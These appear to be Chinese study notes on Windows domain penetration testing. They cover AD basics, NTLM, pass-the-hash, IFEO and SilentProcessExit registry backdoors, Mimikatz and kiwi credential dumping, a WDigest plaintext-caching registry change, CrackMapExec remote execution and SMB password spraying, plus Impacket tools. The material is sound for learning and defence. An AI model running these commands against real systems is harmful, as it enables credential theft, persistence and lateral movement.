前言
参考:
https://cloud.tencent.com/developer/article/1624522
https://www.freebuf.com/articles/system/272298.html
https://blog.csdn.net/qq_28205153/article/details/113827476
https://www.freebuf.com/sectool/360319.html
https://www.cnblogs.com/-mo-/p/11890232.html
https://blog.csdn.net/qq_42077227/article/details/130279040
《内网渗透体系建设》 Nu1L Team
基本概念
假设你是某部门的管理人员,希望能够拥有该部门的所有服务器的登陆、配置权限,那么是不是需要去所有服务器上创建管理员账户呢?一旦需要修改,就需要去每台服务器上都执行一次操作
如果这些服务器都在一个域里面,管理员只需要用域管理员账号修改一次,配置就会统一下发到所有服务器上,极大程度上减少了我们的工作量。
相关概念:
- **域(Domain)**:将网络中的多台计算机通过逻辑的方式组织到一起,进行集中管理,这种集中管理的环境称为域。
- **域控制器(Domain Controller,DC)**:每个域中至少有一台域控制器、集中存放整个域的用户账号和安全数据库,安装了活动目录(AD)的主机称为域控制器。
- **活动目录(Active Directory,AD)**:活动目录是一个目录数据库,存储整个windows网络中对象的相关信息(可以理解为存储了网络中所有资源的快捷方式)。也是一种服务,可对活动目录中数据执行各种操作。
- 父域和子域:出于管理需求,需要在网络中划分多个域。第一个域称为父域,各分部的域称为子域。不同的域之间,信息交互的条目会大大减少,且可以压缩后进行交互,节约带宽。并且域管可以针对各个域,设置不同的安全策略,灵活管理。
- **域树 (Tree)**:域管只能管理本域,如果需要管理其他域,则需要建立信任关系,域树则是指多个域通过建立信任关系组成的集合。同理,多个域树通过建立信任关系组成的集合则称为域林。
- **域名服务器 (DNS)**:用于实现域名和与之对应的IP地址之间相互转换。因为域中的计算机是使用DNS来定位域控和其他服务器的,所以域的名字就是DNS域的名字。(DNS和DC一般在同一台机器上)
和工作组的区别:
- 工作组:默认模式,人人平等,不方便管理
- 域:人人不平等,集中管理,统一管理
环境搭建
搭一个简单的域环境:
在 domain.local 域中,有三台计算机,分别为 dc.domain.local(域控制器) 、john.domain.local(域成员)、bob.domain.local(域成员),它们的 ip 是 192.168.1.1 、192.168.1.2 、192.168.1.3 。
Windows 基础
SCM
https://learn.microsoft.com/zh-cn/windows/win32/services/service-control-manager
服务控制管理器(SCM)在系统启动时启动。 它是远程过程调用(RPC)服务器,以便服务配置和服务控制程序可以作远程计算机上的服务。
SAM
https://blog.csdn.net/m0_56378124/article/details/118112981
securityaccountmanager,安全账号管理器。Windows中对用户账户的安全管理使用了 SAM 的机制,安全账号管理器对账号的管理是通过安全标识进行的,安全标识在账号创建时就同时创建,一旦账号被删除,安全标识也同时被删除。
类似于 unix 系统中的 passwd 文件,不过没有 unix 的 passwd 文件那么直观,当我们忘记密码的时候,就可以通过删除 SAM 文件,快速地进入系统
位置:
- C:\WINDOWS\repair\SAM
- C:\WINDOWS\system32\config\SAM
NTLM
https://websec.readthedocs.io/zh/latest/auth/ntlm.html
NTLM是 NT LAN Manager 的缩写,NTLM 是基于挑战/应答的身份验证协议,是 Windows NT 早期版本中的标准安全协议。
流程:
- 客户端在本地加密当前用户的密码成为密码散列
- 客户端向服务器明文发送账号
- 服务器端产生一个16位的随机数字发送给客户端,作为一个challenge
- 客户端用加密后的密码散列来加密challenge,然后返回给服务器,作为response
- 服务器端将用户名、challenge、response发送给域控制器
- 域控制器用这个用户名在SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密chellenge
- 域控制器比较两次加密的challenge,如果一样那么认证成功,反之认证失败
域相关命令
https://www.cnblogs.com/05-hust/articles/12307385.html
https://learn.microsoft.com/zh-cn/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/
net user /domain
# 查看当前域中的用户
net group
# 列出本地服务器上的所有组,域环境下只能用于域控
net group "domain admins" /domain
# 列出域内管理员组的用户
net use
# 查看自身当前与网络资源的连接,例如驱动器映射、IPC连接
net use e: \\financial\letters
# 将E盘分配给financial服务器上的letters共享目录
net use d:\\server\share /user:Accounts\User1
# 连接
横向移动
## 哈希传递(Pass The Hash)
https://zhuanlan.zhihu.com/p/472019671
在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。
注意,此处传递的不是明文密码,因为明文相同,所以其 session hash 都是固定的(除非密码被修改并刷新缓存),则无需解密 hash 值,直接传递这个 hash 进行身份验证即可
在 Windows 中,pth 通过 NT Lan Manager(NTLM),Kereros 和其他身份验证协议来进行单点登录。在 Windows 中创建密码后,密码经过哈希化处理后存储在安全账户管理器(SAM),本地安全机构子系统(LSASS)进程内存,凭据管理器(CredMan),Active Directory 中的 ntds.dit 数据库或者其他地方。因此,当用户登录 Windows 工作站或服务器时,他们实际上会留下密码凭据(hash)。
工具:mimikatz、impacket
权限维持
https://blog.csdn.net/weixin_44268918/article/details/132338391
系统后门
自启动
路径加载
将木马放在系统的自启动目录下
计划任务
事件触发执行
粘滞键
映像劫持(IFEO 注入)
映像劫持是利用 Windows 的 IFEO(Image File Execution Options)功能来实现的。IFEO 实际上是 Windows 的一项正常功能,主要用于调试程序,其初衷是在程序启动的时候开启调试器来调试程序,这样一来可以在调试器中观察程序在难以重现的环境中的行为。
简单来说就是,通过修改程序指定的注册表实现程序的劫持,当运行程序的时候实际上运行的是我们留的后门程序。
一个程序当要运行的时候,会去检查注册表,如果有指定的程序并且开启了 debugger,那么会优先执行 debugger 指定的程序,这样就会造成映像劫持。
使用 powershell 查看 IFEO 注册表
get-acl -path "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
修改注册表,劫持记事本为计算器:
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "c:\windows\system32\calc.exe" /reg:32
REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "c:\windows\system32\calc.exe" /reg:32
隐藏劫持:配合 GlobalFlag 来实现,执行正常关闭后触发,也就是说当记事本执行后,木马是不会被执行的,同时记事本依旧是能够正常运行的,相当于无感操作,但是当关闭记事本的时候,就会自动触发执行后门木马
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\1\3000.exe"
屏保&登录
域后门
SID History
DCSync
工具
Mimikatz
Windows 密码提取工具,可收集凭证信息
Windows 系统中用户登录后系统会将身份凭证存储于 lsass.exe 进程的内存当中,Mimikatz 通过注入 lsass.exe 进程读取进程内存,对 lsass 进行逆算,从中获取对应的明文密码。
lsass 是微软 Windows 系统的安全机制,它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass 内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中。
在安装了 KB 2871997 补丁或者系统版本大于 windows server 2012 时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文,cmd 命令(执行后重启或用户重新登录就可以成功抓取):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Mimikatz 的启动需要 Administrator/SYSTEM 权限运行,默认情况下拥有 32 位以及 64 位版本
修改运行权限:
privilege::debug
privilege:: #查看 privilege 的运行模块
Sekurlsa 模块
Sekurlsa 模块能从lsass.exe进程中提取 passwords、keys、pin、tickets 等用户凭据信息,是最常用到模块。
获取明文密码:
sekurlsa::logonpasswords

查看用户哈希
lsadump::sam

权限较低的话需要执行 process::runp 以系统权限运行
转储并导出 lsass.exe 进程
sekurlsa::minidump lsass.tmp
通过哈希传递进行横向移动
sekurlsa::pth /user:admin /domain:host1 /ntlm:b2781ba85ac750ec286744b009599637
sekurlsa::pth /user:admin /domain:host1 /aes256:b2781ba85ac750ec286744b009599637
kiwi
是 msf 下的一个模块
meterpreter > help kiwi #查看帮助
Kiwi Commands
=============
Command Description
------- -----------
creds_all #列举所有凭据/所有的系统密码
creds_kerberos #列举所有kerberos凭据
creds_msv #列举所有msv凭据
creds_ssp #列举所有ssp凭据
creds_tspkg #列举所有tspkg凭据
creds_wdigest #列举所有wdigest凭据
dcsync #通过DCSync检索用户帐户信息
dcsync_ntlm #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create #创建黄金票据
kerberos_ticket_list #列举kerberos票据
kerberos_ticket_purge #清除kerberos票据
kerberos_ticket_use #使用kerberos票据
kiwi_cmd #kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令
lsa_dump_sam #dump出lsa的SAM
lsa_dump_secrets #dump出lsa的密文
password_change #修改密码
wifi_list #列出当前用户的wifi配置文件
wifi_list_shared #列出共享wifi配置文件/编码
CrackMapExec
内网域渗透,支持 ftp,smb,ssh,winrm,ldap,rdp,mssql 协议
哈希传递实现 smb 连接
-x 通过cmd.exe执行命令
-X 通过cmd.exe调用执行powershell命令
crackmapexec smb 192.168.216.144 -u 'administrator' -p 'pass1234!' -x 'whoami'
或者使用 ntlm hash
crackmapexec smb 192.168.216.144 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:ff1a0a31d936bc8bf8b1ffc5b244b356' -x 'whoami'
默认情况下会自动选择登录域,-d可以指定域登录,-x要执行的命令
CME将按以下顺序执行命令
1.wmiexec:通过WMI执行命令
2.atexe:通过Windows任务调度程序调度任务来执行命令
3.smbexec:通过创建和运行服务来执行命令
-X '$PSVersionTable' 使用查看powershell版本环境命令 ,--amsi-bypass /path/payload 执行powershell
smb 密码喷洒
密码喷洒攻击属于一种自动化攻击的方式,为了避免只针对一个用户进行密码爆破而造成账户锁定,密码喷洒攻击是对所有用户进行爆破,既避免了用户被锁定,同时也提高了用户破解密码的效率。同时,不同于固定用户名对密码进行爆破,密码喷洒攻击是固定密码对用户名进行爆破。
已有密码字典的情况下,可以进行 smb 密码喷洒爆破出密码对应的域内用户
crackmapexec smb 10.10.10.12 -u users.txt -p 'admin!@#45'
Impacket
https://www.freebuf.com/sectool/175208.html
Impacket 是一个 Python 类库,用于对 SMB1-3 或 IPv4 / IPv6 上的 TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP 等协议进行低级编程访问。
MacOS 下的问题
mac 下的环境问题,参考:https://stackoverflow.com/questions/2438471/raw-socket-sendto-failure-in-os-x
macos 上 ICMP 的 raw socket 不允许自定义 IP 头(即不能用 IP_HDRINCL),只能发送 ICMP 数据部分,IP 头由系统自动填充。
使用 ping.py 时会报错 OSError: [Errno 22] Invalid argument
修复方法:只发送 ICMP 包,不发送 IP 包
import select
import socket
import time
import sys
from impacket import ImpactDecoder, ImpactPacket
if len(sys.argv) < 3:
print("Use: %s <src ip> <dst ip>" % sys.argv[0])
sys.exit(1)
src = sys.argv[1]
dst = sys.argv[2]
# Create a new IP packet and set its source and destination addresses.
ip = ImpactPacket.IP()
ip.set_ip_src(src)
ip.set_ip_dst(dst)
# Create a new ICMP packet of type ECHO.
icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHO)
# Include a 156-character long payload inside the ICMP packet.
icmp.contains(ImpactPacket.Data(b"A"*156))
# Have the IP packet contain the ICMP packet (along with its payload).
ip.contains(icmp)
# Open a raw socket. Special permissions are usually required.
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
# s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
seq_id = 0
while 1:
# Give the ICMP packet the next ID in the sequence.
seq_id += 1
icmp.set_icmp_id(seq_id)
# Calculate its checksum.
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Send it to the target host.
# s.sendto(ip.get_packet(), (dst, 0))
# 只发送ICMP包,不发送IP包
s.sendto(icmp.get_packet(), (dst, 0))
# Wait for incoming replies.
if s in select.select([s], [], [], 1)[0]:
reply = s.recvfrom(2000)[0]
# Use ImpactDecoder to reconstruct the packet hierarchy.
rip = ImpactDecoder.IPDecoder().decode(reply)
# Extract the ICMP packet from its container (the IP packet).
ricmp = rip.child()
# If the packet matches, report it to the user.
if rip.get_ip_dst() == src and rip.get_ip_src(
) == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type():
print("Ping reply for sequence #%d" % ricmp.get_icmp_id())
time.sleep(1)

功能
如果有下载源码的话,脚本都在 examples 目录下
- ping.py:ICMP Ping,使用 ICMP echo 和 echo-reply 数据包检查主机状态
ping.py <src ip> <dst ip>
- lookupsid.py:通过 [MS-LSAT] MSRPC 接口的 Windows SID bruteforcer 示例,旨在查找远程用户/组
- psexec.py:在远程 Windows 系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程 shell 命令(不需要安装任何客户端软件)
- smbexec.py:与 psexec 相似,但是不会将二进制文件放入磁盘,smbexec 利用一个批处理文件和一个临时文件来执行和转发消息。与 psexec 一样,smbexec 通过 SMB 协议 (445/TCP) 发送输入并接收输出。
- rpcdump.py:转储在目标上注册的RPC端点和字符串bindings列表。它也会尝试将它们与一些知名的端点进行匹配
- samrdump.py:与 MSRPC 套件中的安全帐户管理器远程接口通信的应用程序。它将为我们列出目标系统上的用户帐户,可用资源共享以及通过此服务导出的其他敏感信息
- sniff.py:一个简单的数据包嗅探脚本。使用 pcapy 库来侦听通过指定接口传输的数据包
- sniffer.py:一个简单的数据包嗅探脚本,使用原始套接字来侦听与指定协议相对应的传输数据包
- wmiexec.py:生成一个使用 Windows Management Instrumentation 的半交互式shell,并以管理员身份运行。你不需要在目标服务器上安装任何的服务/代理,因此它非常的隐蔽。
- wmiquery.py:发出WQL查询并获取目标系统WMI对象的描述信息
- atexec.py:通过Task Scheduler服务在目标系统上执行命令,并返回输出结果
- getArch.py:该脚本将连接目标(或目标列表上的)计算机,并使用已记录的 MSRPC 特征收集由(ab)安装的操作系统架构类型。
- ifmap.py:该脚本将绑定到目标的 MGMT 接口,以获取接口 ID 列表。它将在另一个接口 UUID 列表的顶部使用该列表,并报告该接口是否被列出和/或处于侦听状态